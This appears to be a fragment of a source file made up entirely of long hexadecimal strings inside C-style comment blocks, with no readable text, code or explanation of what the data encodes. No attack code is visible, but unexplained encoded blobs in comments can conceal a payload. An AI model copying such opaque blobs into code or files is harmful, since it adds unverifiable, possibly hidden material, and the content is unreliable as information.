1b78f98b2130d23534b38d8112199adde26e6818e0350aed97f782a7f79059d3d2190404d6ae0c41a9aee92189af05202a9804a9233b58e22eaf2245ede34e4831adfa58ad6416869bbcf5f4f65564d9c29829fdbc3cdcf5bdfa32ffeb37c6942e48e07ccc576eb61c802b1aa66037b64eb67001dfffafe59b55c98dbf30c3d5ce03e36af1dd92b419c15de1c0287a38eabb38a74dd5208f1455554083e81b3988f5464f7161c5dcfb83c8d72b961736464f8eac06f789448b58e92b0f1c51695b71e191e0bab2157f9abfa33bd83e115715b24b25e1354545f8f80dea4c481dc16c557666d544f64345348a6f3ac2dcae217a3a77bab8389a8eb39eb6d3b04a9c824f8279ac9825c916f156128ced92f4b04864bb0a4e68aa95104f7d1dfd6df61d45f21698570bb9b9204065865a6ec340fb79eed131819fe681db9b38616d2a5d8e4a289fe7b82562d2caf465f7f4188e391c9373c3542467d87369c0ceae428a1adbab679b423c62b41a2c8ca59c0c39dbe75dff039ad9d81e3e759eade165dbf3057931f5e0ada7008598c4ad8863a00b775acd91d8ba3b0cd31e730dd37e3a7945494b4575f09182f43b6a40ba57d1e7408cd2b17bfd4abef754556ce7d5dfc5c2e1438bc02d82a592076dc2dea5aa3efbc*/
/*3bc72845f35b1fd0706aa3d80a198c58b197c24b3c37fe354b0ea08d82d01c606c96c43562b9e1b1e462237dbd6235127a60d3473463d2de3910a55bc019a6a38f030d4fed92607db3041ff4ab4d934f499969b0aab8c94603e80307d333fe49b6f14877f4e9a6e9b43907e8485b16aaed6b2279ca6063d8786afd84b8f4c050cf6ee54a45005d319fefdaf684d360e65618c6a64b2c82888c21d2aee60a4a029e52feaf539a379877aff9701b823667e77771595b779d175ca4c6fa9ac9258f67a3914d723a201db96c7cb51c41bc49c4f0e6f368d1169e7e45c2890235c845b992a55597369da71dd4d7c88b611e4a64c2e842d1af8f1e890fa1ab1e9d30e4d16ec8ca4c76f80f2220c4ea466b98d50f548a193beaaf6435864884447eedbec1742650f4eb9e519d01aea9ea0bd9abd11ad0c53543f8817f49ad01e82449ca25cf03976a28b23ad837c6be16b8a7e6d667b6fdc4adf90737d1c99569546fdf7be479c44238f233db951a1755890d8f589ec43abcb0f3dfd212df60268a2f6b7489dd9b0a9c1baf5212de3001887b4782cc6d4b85b159a78dd2ebb2c9cfd3f0a63e25d78c281a835e7f4e388b6babb8a4ac73ddbc3f1c9aac7d8a63d2215e688b924069e8dee6f313429b9c73f862f669345dcca8faef66a9a8b3469c955bb43ed6ce24865134bf09cc7b1a4c9a4faaff4f20be129fec935105499e87e0224ffc512b911e3af5988a26f2ca9a5d09317be2a58e8c86b9608358c9ef0eee3d6c22d102ae4dbea11482918504b5c4adc773e483f400cb697dfa1ea7211f43a1b63d1b88eaabdc947ced6ec9e4513d1781abfb8c3277f95e20027b506d6c10a6066fc4f24a6ecb6c1d14c271d7dd2918b79078d75e81db133866d5ab9eca7321ea375fd6e46293770dc39c5c2eb89a60da25794eeaea22d97eeb311e4283f9c3d2e7b908b4a77f3da83c05e3ffa100b21a9b8883c950650a94c31639fd56c0aa5cf2041095e78c5fc07496ac4e30511ce1613215cbfa425f0e0a4f58a2ed97e69f10440cec20997894dd8b581cee0dac1489f46fcdfc19c86036b3eb951cca9ad2daf624a244d4235f37a61a59c0e1293579d97d94d71fabde2664228c0cb3eeb11cea966c47c8261c2b6f1aae9fbc6f2a217d616de7831523dcad34d7044b6db1b1079dcc0838d3758539c3e98c4c41a9359a8204a032a5d80819015ebef06033009953b6d44f0c5af29b69e5d10fba6f52f1501f06d292db5e4033340dba73091d42fa71a3a09918a1e1365d88ca44b6d8162cf5cd6f31832492bd45017c9f8ba8bb3d17678aab76b7212d0505da1e8acb1057278965ca0ec5c8d1f03a8e2d8091cbed57abab5135c3b9129d8c5cb83c48db7001ac29dcc7c8cd05d3945d4704fd7ff86af134bc731e697938e6851583ced88831f6505844388f510f4f29f1287dc361cdd4111d55435d9cc91072d67edcf89728077f0dda0e14b2c8dc34c99738e98583310893de27fb4a2d73e4187e3a8356ba69aa55006d681a0af49b2085223860b62c54b67e82c8d1ebd52f5ed022759eeb1d44d809238658e3860edaaa43b498cddca8033b3236bbbb369bbe7908ded74763b28c6cb42bfaa76cb7fd75421a687e193ed7a1a8a068a483c62ff4d079d73e85d36215a189ab72cca94986c2e475f7a2f04053363caac7d5bb8cff19d3d3959d2d4f1c831a3403bda48880cff9dede0b657f65b81e4c348b80477c328c11a3b63a25501c006a9715409c5900a3bdcb86546d7c49786f1e2a91e598c0b07616f1d1ed63590426f69afb8962270c39a0aa6255f330d451fe6f5da729370e2805cfbaf85ae6948157ef37a905af51f0ea89ce6856ccb73fa4362b7fbdddf4c94d4e6efa530b45b8def069acb52698fc30f6561a2fff0efb3f625bc11689272f2c788aff57913f7288d17a282103e294fa7cbc724f6dbeec0b5705bb4a7da1d8ea0dea9f9486504bf480bd382a8528a27c5269e2f66635c73458e4c8daea1576ae11430bbe5b9c215955a2340f2ee723d6f17f70d5ea75c858692e924038330a4f1d0b9cb87d7208df91624eea1c3dbe668dad157868bbf483fa4bdf01d7ef207714fece7aa35f10fd7cce1b8f3e0257652287172145047c235a25c5c811d9ad986473ad7b7adab6258688018980f69863331552889f979a35f99bdbb3fc815b00e453b2b1441a2b7aa3dbbd08b10e41086b3e32ac644bc7934da0f083911ca7cda08e95fae07445c695bb15483ccec1d38bb3f6131e1e59cdd84e601a32c6eaee012db25839b3a5c6afc1939941ad0ea82e5a4ff3afd3f99c874b6594bb753d42921defb7b439dc34cb7b0b7976943397fc187899ad7575ae42e09d07256634da268b9fbeb81d6248e2ee0ff1e182a9bf14779f02a9c268c42e7a21b0d42788842d885bb7a2e302e4d0db170fa44e041aede5b8ce6228411442ab70dfc4f83849db75fe8ff0a30fcbd27fde67f2415ba11850d7c30d6119cf49dd6cbff0210c974d0759abd32ec0cba3794e941e7cc03a65cc6df08475c50ff05fd93cd243d9c7a013d46266e1b03444def9305ac269d8289ed78e06043e5467cb08cc03b4dff5b4bf2231523f410c39d257bb5d7bf55d012e5f1e7f2b1395193c9eb7f437fa99669e194e0e4f425d890526a199edc12d0686be5c30ecd3de5dc3d74e7a20041a71934f0bb687922c65de908d5d51264b1aaabdf4edaa7217005e4a2bdc0557556fa1b48ae284f81fd8d672469b72f0feca871a2c37b5e5e0fd1d94cc4b00985176eb94e1a312a5fc6b3e08f3570ad7a8c7c410cba02d9cf565671903*/
/*ca963df8f27251166b49685ff1e6f49ae50c5defdba5efec3542377b290c4a8364b96aa07c0a1474dba21d789ba2626ffb63338b0f597873d7ad149c9ab7706e0fab77384b5efaae93945b9c850c64e2f7fd6e40cde35e6eab3f4c34d5454f9ca3f7ff5d2216b84ff923e14d359430305f527d07e5d754aa7d204711e8d24adafc1041929032c5c1301e3b7439291db120afbdc6d2bbbc140fc86323f81368d6c5a69cb9e186d19e2c067136d9b3b94328a4d375e1b9dd9cbea1339ccf15c12a41a1893060e266fa0f44df85cb1ee349929a0d380a731178c44700cb9983b596ff19b60f3fa284a5f04788285fc0ba779e548697b2239a2e485faffa344a30a0bc610ab1a0e08bd4a3b308915d34db0afb22b30f26bb17f9b9a775f3ffdca9084bb8780c0c54ecb59a8a4b4d368c223420121f08c0a1c89ae87d8e925913230f77969cf5aa783545bc0dc3b2ff7265d62302a78ab56ea213c1add590ab1c3242cb0abc3df2a4893080e34c26237357c600a637f39798dd47394a705af13fabc512cfbfe825a1b479a220d89bb10f62e35b00e11bfac89021fa1e6f3648f8000737d51d51942833dc772f5b8f808ca652985427ea714795f24638fe29df3ca1e6bbe1ff9ac3b558f2f4c9ad99c0a3ab907e3c1872372065a6be5e86ef6ef589a564c9c23f16ef61fd14faae5e6e25dd9761efe8bd0dcebb9c9950c6f750521f19189e58d81793144d35a1d5442876bd1cda340f7cb55f0865c44ca9be1c794fab987efd39f6d7cfe6cceaa470dccd41ac0021c6f210fc8f02ecacd8f82480fcfc7b3bf1924f0d8727a860a7c32bf661a63c1f9b7375520fa1bb840344c70e69a3e3eeea3f5e8065e28bde417d8c4a63e6b4091ace9aea02ab461f5faaaed254ca834bec968ef4c1149161b4bae5c881f23c3c0add1007f02f2f3688d8d4a10741642bcbb4972109af39891edc200181321aacc7668caa78701cb419586876467351a6a0f15885c1e5b331abb572c94103ac0749e8be5705765c341c85aa0e3b090ee277b263932bf1fe2be9e135bd929b43f5fe6fc58aca4ab75801d3436ff09ed76c64910ef61560f1bd9026515846150aa6903ec1d5837a5a5a69105d45a11f851f48e85491a36d462ae09d1f38400afcbbe2310f3d3cfdd584aef7967b0c52c5fd7b717aebf5cbea8d7dedcb57eccefa3c2187044334a90fe1195a3d7f2ce8757ffaefeb889d95edf1c5be180c011a1ca12b20c404947c94ed2f2bc0124397fe23a79f9f6d00db2e4c065fdc8b273e5465d1c3fe0a783db515d3399486204bfadb6efe48923f2d21455312d184818ec66c68786b5c9f7ac6ad16e02277a72d0c671ef80df8bb140ac4cb79c31454e8c79a40a1bd247fa5802305f051a56f3fc398eb33383ab097f07c7c5b863833705ecca11a5be3b41c22245bb13dc4926bc06101354d3c3a320afa3211e85ac8462829cf184f090e616186eca040d328a763d58891fe4dc5bf74be83979e5d320d094aed030ea9608b968b333b6021ce9e75e51e2de7acdd49afba85fd25f2098c338b5bff6cec05e72577f244d78fc38e7b6dceb6e80030420f80eb8474d01fb5d186d9334e6508d122cfc24a6c75ff1c2f9b6039da6366df9abfb425acd135c3d02ba61bf5c571ad4f8465a86e3c5d9ee47cdb60d5ea97d1b89597f74698f933a24d2340cf658eb9fdef44f40246687b0c55a8ec01fe498ea6e2ea32e6d01344b275dcd94373dd7ba39b87b0b991b0c706795a7925ef54f779b71e0723b549f8c0f842d5521dab138bb29c788e78e37c4a69e506bee990fe5055bd399fd7716e204f178657b7ec6b23f102529666e47bfb7ea72ca9ba7faa39d51aec3d59687acf1194ad764615d707de9af88899dcc99dc7bc3d39954ae1f57250fd14d4b94ea696539a3680dafc4fa9725323a1ddcae5c4c6a4b169ea49612297e77472658b5911aeda6a83d0706dfe26395168c0d41d8eacd79132eb170086d1b70f6d920780b3550fbb17f83d89280ba0152d7f2a2e3f0a6d55315b4033213584a9b304f44409485c44ef47dcfa94c2ffb5c1b7dcad58a019e784880b1f9f29f43a99fdf8b88b9091c704fd3be50a0535c83155e3be32a728d7d08f6bdf13367c4b70e612b83f24a790cdfc3de2c9606ff0e044a9b6e6053bff0f6f1505affa21bc2989e281ecb9e57fa721f255dbfbfb337664ccb9b2f2ea5cbfa4dae4068b139021129a9fd3e8990fec57f5c4451f724f5222b29f69b57e93ca1e192ad4262b6f2cd0500865e320b4ff769e75de9e0d251dd1a869472506558909012ca2a206420ac7350400a9f1576c13a391f78c6bda3bd189fb14d4618fba351b51a6c6e1a469141f72bce6f62a66af96358dcf5200f6b95d8cb2fb0b71c4e00793ac0ad70a3174cfe4e7be452f484a778fe87346ec814ef0271679381e22e6db57ad26510b96c15c11e4e88d36234a1d30e6443a6d3f1c10face0f1aaa867c2979bdc159a6336f380fc42ca815b164e65a94951da62b98a45f0a02bc848a84874da1f16d6081da7cdbffe6a2b09455a6f6d306ad8107a977af8e78c1ae05cb2a8a730cc5eb27cc7d43a3fe43a1b51f5d7b248340cf4f8e0b091af4c1db1ac3becb9e20cfa0d82f8757f566b5a925d9228625eb988598ac23800608a9acb3c9632a1a742ca808546af1658ff48e77975227555691f4f817db3de6c31781a21279f9837787ea30a6afd510b688151cc8ee0dc9be18bae462173d47b2e5232db51644c30ef5677cd8b979bf4263614f85814d71f7ca5357beb8ecaefb30edd9a1cb07bd7a83e34bf1cf*/
/*7c28e5fc55e08b643e150e59b32d3b3e961dd154d9fbf30b67ff12a9f4467d2648881e97d5d704209c867ef0688e14d2a139c8db895501d94b2b61292ae3c14339e6b0b2d65da55c46983edac1db80109f69f69989180aeb0774a9f64e1f940be39bba8adab4567704d52abcb43b0aea8ea9746e7a0fca4882588868c5802892c5e22f4bf46682268dfe7ba0d52d76cae4174e3090f01319155185eabd9df5012a25e2a9626508d9747a62c9de0ea63dcc0d9b105a8312392e136368c46d4106823c6ef9152b39e67cef68e97c783dd247ae1ff62e0ae33ac27e743bc0617ba2e8e083ac2027949054fd6a38ae5e6a1aee69a471b4393fb66f59cf5f2e624bc47a00c0caf1115aa09e85386e210d9c007973bb3a5491a5e3ddbdae6bda5b2d9e95d74b4a0942eaae89659b9155de0f729c308a5e02e8caf993c9409f5070d347440194071716f4460d31d30f6eddee5593cceee196737a1675212ef42441d37c713848af4c051e37d744cde9b51b759ee88c00814c17fbe03147079d05edcbf36c49f693e1aac62cafba64d770a1b0b4f87cebb293ddfe68647d052c4a8f7829f402715e5414a75fe365aa499acbe4e8571f3a4ae49fafbd61d6ab6c645c372e69a6756eddfa6d2f6d7fe0ca7f74f69cfa87472a27c7643d47e66361fe73316aceb050ea3508b26e4d22c6ed6ef541424106a7bdd870e19aebb26db37e2a01d5c8a0eb1396c4f8fea15191ab0dc733c6d1c454bc42e78bb4031dd9d223eb56962f95eb3726c7857fb469082e0b81bbcb0aca693b67b85f60173a1c67022e0b1cb209d243403a7d4377acfa706a75853da2074a7470d0d98129f4b2d8d65f760d2f814ea93fa572f7e3fef5d97c7f36b1916b71e118ff1e6d3dc4a3922f9ef9bf46ad3465647f2695440d3ee55d4d1f60a46d47a64c890ef5008af73919b10f6e63713f55f3b0f78d66c132734113ef0f8d60365f2012a699c0dd35702c2bf6c45d23b0d691ce171b8c250b256e86f73399dc07fa2c592a6f803381edd8bf25359ecd1655e46f827639ae81bb850845b3c2c2c2d27cc3a4dc8d625bf1f4a88ff6c522539ca71da42dd5bff39427d8e4e1cff2a81d7a91083edd0d2984ef32c603d2738f302f837906edfdca576e24d7429ece54ea64ceb656d41c4e40109c54f136d39367216118a4b8a5f5507419a0a8f0202cd782a64e9f42335ac53d0c4ec7002b357e59c265251395b077c902c094bfa9d09978ebb77e0e66c4645497712994452d70a36a0f6e2e576185bc1343f40a969285108c22d2298437b23e56f83b06fc8357edcf7ff0b162be75b0ad72476c590d4d154daa743201f755c22298a14cb732e4ba9123ebf59a5e1b8b33058ae4ca7e901c694002256325d4d6f911187c5288fff132078af485ce816477d031a83e23c8d56f0a682936a45ddcf6f49aea463997bc62ab1e9ec5e258d8d0af8f18a32281aaed63874fa7843decbb1b18fe0ce5d7d96241458c9876f0bbb628b88e6924df2113eb4134a2fb4ce0d2fa4b6bfed4f97cde8b4d65376e207d235dd01ff2a642e6de6c331756aeee11256d6c3262022dd8314ad65b03c5ee0a1ab039c48f1ed9cd3b3d13387fcae6aa0cf4d8f939b1178dcec3dc434c99a2db7192aa65ce24aa09eb052cdf188c902d7273a1af3e4c75ec56abd24c9b27aa7d45ce3fc37f1c1b545c0a36bed4bdbab20c896dbd22beec3b2b809802cb8ad5129bc55695a2b536d119b0e5e294d948de15bb4301ea768aa0a8323e8459552ea240aad40590c2963410eaf978845c1a6a138e5c004849e780619d3cbe1bd744605692e00ef408177090b183bfb9d04164fc9a1e72efc50bc80765daf67d8539d773ab2fb0e4ff98f52936ad62c7054a0b048ba1bb16f979e854ebd7db6a9073fbd0bb1db6f4766012530a47e58f6efd838085db41a8ce3504b860453d4be3f79ab74f0a9bb2484470a503f414fe01d5fd6306135fe5ba59272be3f63f80e88ee78b33421b29f7133f0ace3f68ccde50a10fd9dd39de5b5dbe1ed0d913d4e97c68dbac7636f54755565cd4541f54495a5b9a54bea867048c2b8a6d3a93ac801e52963d2dc9a53a819fd6ca1746212969821b5396c3ea1811bd396e11ff2ff3ccd6e1b47724b191129ddde81685f012c2f16c6c9faf664acf960160a102c24a10e52b4cb780941eb6b813ee1ad05b44a3efcd7d693bb72f384613fb44676a10c1a67b69e5770efbbd5b801bbd1f3d13436d04ab18c2b3ada566eefcb6425f338d1c84c95df483087a4fc35f95b66cad6ef39092b7ba94036ee6a131142cefbb161d8b398bd1130181767e53feabdaef4c681c39ce9de0ab5727512e655a69cde7d833ea07a54809f5c1aae0f89047f4dbe52d94dbf6a15cf3233fd011f07fde7939674f4884d3b880f44c5c4b2378c2cb6ea2ae221c3cf3d94d0420d1aeceeb51e9d0d8d6c0b9ada728200cd58dfe5bac0acdee5289cb9d02952131910219eeb5cc099e20c55029183b45f0bbd4568a89abc3b11407f99585dea3c55d030a8bd202f5670bc8a7ae4800b39e0fe011b66361821ae4f91a71af190ea3bfc0b5e1dbee95b6b51d08ccb014f1bd7f5c946b402ce4fb781a27ef168bbfb9a4c2ed998d68f4cbd43dcaa9d88caaab2d17f69f1056e2e2907675c5cdb6f457370c11d6088a0c17e59e12603f6a09bfa4b6787d2e680b6ecb4a6bddba6846532fca5fe6210d1707814ff1b9902cf7d895c9454a821a52e34daf8f3f154dacfb8ce195e31ce165c42f5417d697e317e85ad8fedd9c153f1eab48cdeb03ae524a60fcbf624e05eb9158*/
/*79a03323dc805d2c21ecd7b6455f319aaa27d9e09da79cb489abd2525a761e1becb7fe7aabc52087300319ec22df83c0b790d3d49625a3078b168199617ba24ff5873bf245fa71ff1049234f8cc960d3b225fc8b7bfb14df492a9b307270f5419d0fd5a3c025b094da027b88df5ab1476e8fd85c803bafa061b55f32f05036c37905dfabbe1ba79e892c7d901ceb9259c43938b9203c70c52efefa1a6d30d497b60425b0fd2268e1208060e3e4216db019f7374a90ccc41181a6d634f5f565aaf28dea9008a660f690c8a9d7002e216b6a760153a9666ef5d0a3d5a8bfcf463691f2ae53b634d2ef446b6a4f4d3df69ddd2f06a967ae1d806ad2e816ceaf0eb7006370bd2a566f85617307ce43053d8205be7011231122f1421189b4b143d2c131d575c595c4c51cc143b5a16ba6c47c57b6f276db4524c34281845350f0c84b2d00a916caa27d382d0ed7833fd0e7d4524e08c6b642d5c238c1e4f4912eea6c474378de8a6c644b26c68b7c9f202adadb97ba1d67b0c8ba52707c8e769047682b53838047cb2e9f2e06a77ed2dd619ed2a78aa0b85cc80acb935a61ec0a0b6218d24bc4b5bf55fe6fe763b14729346a760e08223e869e61758ffde12d0f49474b09838e3820e9efcdbfaf795a0fa1c33cfb243160d79f5e540140667ad16e8e190f1b3e59017ebc6a3a4308ed6fbc2ea4ab0a650ff3b15bdffb8be2568d744dc296e9d6b170b4522f633e29c25e7cd33536c64c170420e9ef5e0c594b36ad2cd62121ac1fd843c2d93d7565eeafaf0fa244bc364d80af412588437c05aa25530af4fa50c0159c9c0421a34be702b9302b7a88ead085dc979cbee1300f2479e2921b96687198293e503b3e10935ce8e1d286010959677c03606a848d3a7171ec10ef2f96bedf63676a408cf92e08089769af5e107e6ee5a787326f8cd820ed31fa1b7f88a8c50999b25d52fc1c6054e713c3ea3d5eef43edb9c1349337ad8601faf7e28a1e2af1907c91656a7e60c32951c71810fc1bb88a67aba3b59e64dfcda3e3bc0cc17dd3664b4b3b6e7dcad4e3487f741862abaf02fc2385b4664daefa3aaf4922c008a197156ea1e90d37d90b06f351f1c8de77faf0d9812fb465c186f10406171cb8aba60051a56adaf3cf293af77275c8d4dbe9632dd9eb54596c2dd0a285632f84c721e5fd8d6c18d813d1e7db46f345b41f004ad0f8ec796e39f316d022bc679e7d4fc81062fd5f75dac0c3f952681967bb6d6a8ec788e5079f5d991303f1d56f6e9eddd63c8db13bf9d9d691ac7213346da88d098b2b2bb5e0528e580195a2cd42e6ce484fe375df37ca5b662c16d5e863bdb0c7df423b24b08fbccd5bac1107ff6c65ce0f0a83aec04e52e1e5f21ae4013b0ff8a8708089dba6d3510c6ea46a06de818c2ce4896d674d592e170e5fc2b95b4d76960d5484c93bf74ee929937babbfbab6fba24895207a9b5daaabde73d22d3ce5db261274dd985619ddedde62beaf913e3843e20169a0d972b8304c2dd5c24899c22a65358eeedf5616e06eb782fe67d8cacc4772fcd47d9b25521f0398348ca652ca5dde92e62f04c8c145493f64be9c552fe286f10dce816a1eb02fcf01285ed15a082926e49f4d25b9201a4888ff53b4959a4a90f6a3ed7e0d1243160e8a06111011fd73f37feb11c599343c1637d3be687ba1e8034bcc0eda1604d5fc047f6465eac4997ab40162f99226bbf84cbe5cbc49f788fc315aef52dd76724b7971cad09c204629daef93f932cb890061dbe2c329f664348485baab1d59b38c33257bca2cc547d7f72ebb3d8bdec8ee437c4b3277f033f53d7abb6d37795dfdbeee80a29606eb5175376b5dcf4a79595be0797ccf504c8c33fc3824d33744243c63e58a71e862e8ad2940d9b84b22bb29b7e075f275ef57f4b738d5a94b8bcfa5093c89c3ebbfdf9b352da2591a17ad605d714c14677839f054969bef23930647d54e600c85ecd773578a356ab9a5d89c85d7e7f1cf058934fb3999acc023a8ed59ceb40fbf5d08a547c4af0f0fe55c7e3cbbffb8acfb92bfad90db143e14f701793616a4707fcb5e0b5a5bb64ec18675d33a7866ff71252972735312151b34816dedf42f2407a5bad56ba928e73fa7bd6a8d4ff45677676ae07af9b0c52980f25ee8f16c95118abce5e43e08dde582c6a57e2565692496a17f97b60625ad39c72f13ebf3ac514d9bda7e367b0de647fd4e7364655e10fa00682623ab58a5e643ca3bd1bebc0800a2897e839a512c902200810f9343b94d997cf22a7f761a8cb952a5c27ad57aed83e5e7b5694a2c15a7bd0d1050c1e4b559e825ea917350d5037f5bfe0557029f3ca2879bfad1bec97386b2d3f42c9d95f0753dc8284e77f43e6725e33ca297b7e48198794f2f1fa07e5f614e620512b3b10e19a839df392a1633a3662fc7dc2753203654ac35cf69c3726c1c24a025c85e55e49e955cda6b74bde0bba42ef9d42c86bfea5bf8e7886bcfdb4f7e532b186f4d46a63fd23def6eac120bbfda1db5e6059629e53487f04c97b958bc2cd0c25ded3dc1b3f4d1b5c79fe0229c70ab5181dfd3efd58b9fb4954f9321a90b12ee422dfd36b934ea2eb747a11195167d3c1a93f832295b860b1f2489b57c27fdfdb52c05e7ab1e0997c9b4a8558ac75428a2fc11534e837d32fbd767f8db74dec50bd431913980e2edc012efce98bf27b3c364be5fe0e03bb002ac030f70693841ae8f9cb9701c351a35e44b6d9453c249d08b9ff2f1cbc694f3d10472a6dc1de09a2d9555daa37c699e20a0ba60c67f1f1c3662a818e9724806675d79f2aec742*/
/*fc8dc34e22252f8a60fe34769d1ce35d177b43aa9da74f8e3a9c3a79914e9e0c8f93fd9492339a0a8445ba160671974e4ef6b9749035592cceb09f1f94781515a5ced80a073455f26833608df416a31d888fa6ce14af273f33a8cb04406052904c04ceecb43681bddbd710080bfd17d80a611ea75c1d2f2a1efe2909b63b422b84b27b26adb6902143a6e57537e96a88f1a3b88a8a9ba822e84c24c690754fa89546beb215bbcfbae55941edf32ae3b59b1b370f77e7eb0b558dfa839211d1129e99715d127ee45a580a7f2898aee66643c3a7c78e5eadd951811676f39bb1eb61f59318041da27a91cdfe674170502cc01f270a76e04748a9a43d42ed1d03d3eb676937a0882781d01b77e3581e8f681f4e199900503c9bbc9ffdad88cf4cac602ab278c0414c75a06f401928d7086c3825722f3c0d645c98d8d2f191436f57ee04f64a927287d07f69ec422af34768b49b8076ce4026878abed5e36065383671df96608c3efd56648d1db8a2c6117163300e024ba86e8e5c9b20aa124599b46bb462af1f3d3465b0861bd875ebf6552b23a13d249ab2674404ea49fd461cf85246c5b0bdaa7b934e8c045f8581abb47a7f0ef30e9ea64c50266072ea0c52a989c798fb6648f1ea8a9e095e26c046b13658ac72c08de9492cc0f668dee0033d3388749d369e04fde35bbe0b6e21b86d2d3cc5dab57d0e137b1a3d3818683f64874f7716c44347b354f53239f7d6643f725f50a2895f11066c44ff803ed9b0b9fb8eebd1a0cb594841c2dcd6a3d32acb41b4c74f0c287f694c0d825d004b68a611996f94bd0fc5eab7fe844880fc0d2c9bf01ade0dbf61cb465efa7b22dbca6679c932ad5816c32abdb58f33c94b260586fc161209f807e5ef7944c529f87264ae2ad41f3f0ee6bebf72cb6647953c8933aad203e69d848b2357e327b33c641763756f7d522c77518be23ff12fac36e6258bcefd1b2d04e25a36bb555964be679487b98c301b91166d19840b84bc4098348278c1e14d72d2df7a5f9516e4ef7e2b5b75c982c4ae82d9e1266768e2ca81f59d09d5ac466679d1597a310e06383b88a411ba46eb4849b0fc13d3ebb25220416d6041d51882e70acf321ffafa8e0378c0b4f436507255d6adc5f22e26a77c30f3a2ef7ab5d5e6ad7940489ea25ca9627cb7f09e3c83e9145024ff4a01d0b2f1a0190ed52e255b050ab6fc6e0406a7c5567a6ea107ba38ac50ed8f5d0b0a677c8b0418e6f88c2a53251b666277f23f553ae26728d40634d3a1467c72378b4f0cd9240b84a72ce7110d785bd4a2beac511818ecb004139738449ffe3973b168ae34c09fc1c5bc7cce75462ecc1272398a817644fb946b4c0131c53f865d88ac1c58bf71ba0bcef358f266028c0e9cc19c395cdd83540a526cce6df88574053478898b250e1cedd3bc63c5e29f52596e2f00014d2a2995731ca6a3fce9879f99ea1e2ae2e123ed2171f8318bf0d357081edf1f99f7f1b63a66220d1780d8c09ca1d1a3f45d5153e801eae06d9d1b0b20bcf3841ec7085dd0ee6941fe85279de4a64f1f0356dc99e661e1b32add1356428f97b120a55ccbb3a6487008fe53659ecbdfd8b29ce7e5b8a7b23becd35e4f48d7fd7cf40e82ce01b631d55635cd496ac85fba4d9c8144496bb3b41c68c331cc7c8ecf5e14c3e14d045b4179f49b5a057b0f96cabe472b4043598d52aeb9c33ecc567ca4a7117b9af8af213ee53fc73d747067741fc4d72330db1b31fb0e6bcea14198f1c0139a3d39637965800d1cdcd2d9f409e71ff64fac8061d334e215f688761a750b8b251077af5706266517504e8ce6607c6e4ba404e1d6c9dab07928761b7740d36cdc673ed3b4f098c878110b87c56bab84766496f85f731a400d452faa406f6f5d83a037e4aae74cb3915e7cd95b849204c0afb9aed44249957e6d7f51769ccbc8af9e48449101b39ce0d449708952f6244cb17d1b82e19d10cb870b6c23e7c95b9f4e6036a82210b529f2818f20b1f40c4e03b8b3bbb6a14a5744191bd82c2c174d2236e9645a0215e9bdd6505d996ab174f71ce8d2875aca39adeade8f8d2e541ec4a0568987e7242c483a0c341ca9a05a20271171ef76fef4cad5db7c092c0ecd23e599135e8089c7c360dd4b20994f1f3ee97dbee19a25d0428c3403d7e2743cd6d1709b402b799207176eac687eb3039c3d1cb2bbf1038dd1166ad341abbe94bf09044521fdcfbe6a3474944ba2437a7640c78470aa4fe3c78b961ed8f467e171ad922b80290ef850abc37eb84dfe5a5d4fce8d80923756d3067e443f7188e4885f4725010b91df70b0d471fc94de079a736143120d336fe0ff22631330aa0a6cc0629c5ac2d0458f005d0da9324544d766820121f0ec5387ae8265dce1ee78af566a4d39ae3c54c83cb61e8c94d660b437fd42660d64139f0e615f2871ec7304078e4f5e47874835ce704db745acdc73747822f0b138f0b47dbf4138affe02026b859a724e77eafd7dce09c3743dc3bc7e0131ba4d6851312dfc5762e816f4f4ba8e20d0691ed2c104152d337e1491717f077686fb821728d593b6e3bdc6d08365c726f94effc8cfdd47729ad8d9806ffd447395712b9dde8bf2fdfb0b9afed0cbe8e4d9f8da803dfae5e63d6a30ce60990471a64ace1e164090916a671e9868d10385a51d15a258cce1c59500d26c9f616d1413eb2e2c8ee62def7e59da0a49ee0d5e76dd99835fe7996ab2535da0b2468d1a9dd7cdbf21db0fd796c63eec5101cfdcfe0f3d1aca0748e9735ebc8be03f755809555504db9c3a6c9195d1c9f0cf60248e2293f6de*/
/*6bf782503f0e66729591f9c9fd6f6be26e0a60e224b3958b46aace431e2e169f8defd7042950b2f7e064c4c91eed02e506b94aa3c1dd1740f167518c2935bb36beda4a35ea5583c505d173d7593d5b22e6d3c36c837d44ae07d2e62f155487f2832986934bcef8696a46f55c4b9cb72bcbeb0adc190c8d1e9020af0ddde9a2dd5ed0de87e37425df7c9a365b44d7afaed775fe25c92e651d0e1218e81e226d54eb67837b7620ec2f2ae8f4f3358f6a41ddfe8302b1ac7d9f08b5216ede2c51a9c82bb97f5f96da2753f0bfb5a7c641a08a861c8e3146f07471b853c01316485b9f82469e4577ec50a01921169a337ca65dbaa12f25dbc6f95fef95425fb86c7dcaa8ae92b2a6a18f135afbef7f33d87141551b5b2bfe930381cf2151bb69bdebc9347fb352c0ea243c777ef18c4a1a616d90c7e48432adf6404752a17ea6bab0e0e4118cfe6404a22fc15d01a03496f053a59e39bdfcc66228038f3135005d4fcc28459ff5cc3503fee65b3aaa8964f73b645b6aca1e61680c898860e292974a0dc60783e3d2a704f1390eab216c4a161265156e6d89d38eb07f103cff4837e62dbfe3cff701d30b142c4300c3639e3cb12561a4ca0db58bb6ff586e0ebb3a0d77836d5bbe7a8f48a0f39a434c6da6d189e172a1752262f09e0d1285fd07b650c076f483605099a1b36c585bf3d6e30053207d0ab12cfe76ed570f1b1a1c57daf904a6650b0e90a188277281033ee555d5bf6053531c0c1e97335469ab2588f012ac4acebc705fd85c33d58a790628cc4c92232b2d08ae30bf1417d15b3ec22e9f5056370a9b78f9144e792e524c41873213b57d4abd451767731db3f2c3e8fff7ad09998139d42592e6cbbebae592349e546f1a8565e67178e1a7c35ac4cf03f31dd11034d1941a7ba258ed698eacdeea06894d724f4680f3411336ba511254c29800b1fc908c00dd9d0c46f398abddb41c799fb0189765ff32961fbb9c59690779e2f35ab005a3141bd2f3b449223cc3f28687141d11c526d1dd02d0f0d9cc4a96fd62165fe81c34eb9c450911ebe005ed5c2134d378b617f7853bf0a4ab5298324af71be45bbf988d83be84d9db75ad4cb8defe1223cab8d51bde04a0cb5febee8322e01d80d915aa8632da84397b11974ca682ce6efce37f6104d5435ba237d015a0d30e1a24bd3e59475ac1740c60846aaf9d68e0008c265a89233cbbfb1fa2c58dfabf7e85cbf63dd77029ba92290677fd357671c409e2fe18604c045aa5b5133b05aeaa03148fd1b53f627353605cbc2c2e399bba73f8c33a769eb35d0bc8c7d6b50386edd53d5740383d4f323fdaf76249a355316a6f33528af6e5fca71841b10c5fd7e20c17bad4e06ae66b1ed75b0627629b680a3a54